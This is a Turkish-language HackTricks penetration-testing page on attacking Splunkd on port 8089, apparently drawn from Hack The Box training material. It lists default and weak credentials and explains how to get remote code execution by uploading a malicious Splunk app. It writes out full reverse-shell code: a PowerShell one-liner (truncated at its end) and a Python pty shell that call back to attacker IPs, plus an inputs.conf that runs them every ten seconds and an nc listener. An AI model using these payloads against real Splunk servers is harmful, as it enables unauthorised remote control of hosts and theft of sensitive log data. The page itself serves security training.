# 8089 - Splunkd Pentest
AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## **Temel Bilgiler**
Splunk, **veri toplama, analiz etme ve görselleştirme**de önemli bir rol oynayan bir **günlük analiz aracıdır**. İlk amacı **SIEM (Güvenlik Bilgi ve Olay Yönetimi)** aracı olarak hizmet vermek olmasa da, **güvenlik izleme** ve **iş analitiği** alanında popülerlik kazanmıştır.
Splunk dağıtımları genellikle **duyarlı verileri** depolamak için kullanılır ve sistem ele geçirilirse potansiyel saldırganlar için **değerli bir bilgi kaynağı** olabilir. **Varsayılan port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır**.
{% endhint %}
## Numaralandırma
### Ücretsiz Sürüm
Splunk Enterprise deneme sürümü, **60 gün sonra ücretsiz bir sürüme dönüşür**, bu sürüm **kimlik doğrulaması gerektirmez**. Sistem yöneticilerinin Splunk'ı denemek için deneme sürümünü yüklemesi ve daha sonra unutması oldukça yaygındır. Bu otomatik olarak kimlik doğrulaması olmayan ücretsiz sürüme dönüşecektir ve bu da çevrede bir güvenlik açığı oluşturacaktır. Bazı organizasyonlar bütçe kısıtlamaları nedeniyle ücretsiz sürümü tercih edebilir, ancak kullanıcı/rol yönetiminin olmamasının sonuçlarını tam olarak anlamayabilirler.
### Varsayılan Kimlik Bilgileri
Eski Splunk sürümlerinde, varsayılan kimlik bilgileri **`admin:changeme`** şeklindedir ve giriş sayfasında kolayca görüntülenir.\
Ancak, **en son Splunk sürümü** kurulum sürecinde **kimlik bilgilerini ayarlar**. Varsayılan kimlik bilgileri çalışmıyorsa, `admin`, `Welcome`, `Welcome1`, `Password123` gibi yaygın zayıf şifreler için kontrol etmeye değer.
### Bilgi Edinme
Splunk'a giriş yaptıktan sonra, verileri **inceleyebilir**, **raporlar çalıştırabilir**, **panolar oluşturabilir**, Splunkbase kütüphanesinden **uygulamalar yükleyebilir** ve özel uygulamalar yükleyebilirsiniz.\
Ayrıca kod çalıştırabilirsiniz: Splunk'ın **kod çalıştırma** için birden fazla yöntemi vardır, örneğin sunucu tarafı Django uygulamaları, REST uç noktaları, betikli girişler ve uyarı betikleri. Splunk sunucusunda uzaktan kod yürütmenin yaygın bir yöntemi, betikli giriş kullanımıyla gerçekleştirilir.
Ayrıca, Splunk Windows veya Linux ana bilgisayarlarına yüklenebileceğinden, betikli girişler Bash, PowerShell veya Batch betiklerini çalıştırmak için oluşturulabilir.
### Shodan
* `Splunk derlemesi`
## Uzaktan Kod Yürütme (RCE)
### Özel Uygulama Oluşturma
Özel bir uygulama **Python, Batch, Bash veya PowerShell betikleri** çalıştırabilir.\
**Splunk'ın Python yüklü olarak geldiğini** unutmayın, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabilirsiniz.
Bize yardımcı olması için [**bu**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paketini kullanabilirsiniz. Bu depodaki **`bin`** dizininde [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) için örnekler bulunmaktadır. Bu adımları adım adım takip edelim.
Bunu başarmak için öncelikle aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekmektedir:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`** dizini, çalıştırmayı amaçladığımız **komut dosyalarını** içerecektir (bu durumda bir **PowerShell** ters kabuk), ve varsayılan dizinde `inputs.conf` dosyamız olacaktır. Ters kabuğumuz bir **PowerShell tek satırlık komutu** olacaktır:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Dosya [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf), Splunk'a **hangi betiği çalıştıracağını** ve diğer koşulları söyler. Burada uygulamayı etkinleştiriyoruz ve Splunk'a betiği her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsinden belirtilir ve bu ayar mevcut olduğunda giriş (betik) yalnızca o zaman çalıştırılır.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Uygulama dağıtıldığında çalışacak ve PowerShell tek satırlığını yürütecek olan `.bat` dosyasına ihtiyacımız var.
Bir sonraki adım, `Dosyadan uygulama yükle`'yi seçmek ve uygulamayı yüklemektir.
Zararlı özel uygulamayı yüklemeden önce, Netcat veya [socat](https://linux.die.net/man/1/socat) kullanarak bir dinleyici başlatalım.
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
`Uygulama Yükle` sayfasında `Göz at`a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve `Yükle`'ye tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak `Etkin` olarak değiştirileceğinden **ters kabuk** alınır.
#### Linux
Eğer bir **Linux ana bilgisayarla uğraşıyorsak**, özel kötü amaçlı uygulamayı oluşturmadan önce `rev.py` Python betiğini **düzenlememiz gerekir**. Geri kalan süreç aynı olacaktı ve Netcat dinleyicimizde ters kabuk bağlantısı alacak ve yarışa başlayacaktık.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### Uzaktan Kod Çalıştırma ve Yetki Yükseltme
Aşağıdaki sayfada, bu servisin nasıl kötüye kullanılarak yetki yükseltme ve kalıcılık elde edilebileceğine dair bir açıklama bulabilirsiniz:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Referanslar
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Sıfırdan Kahraman'a AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.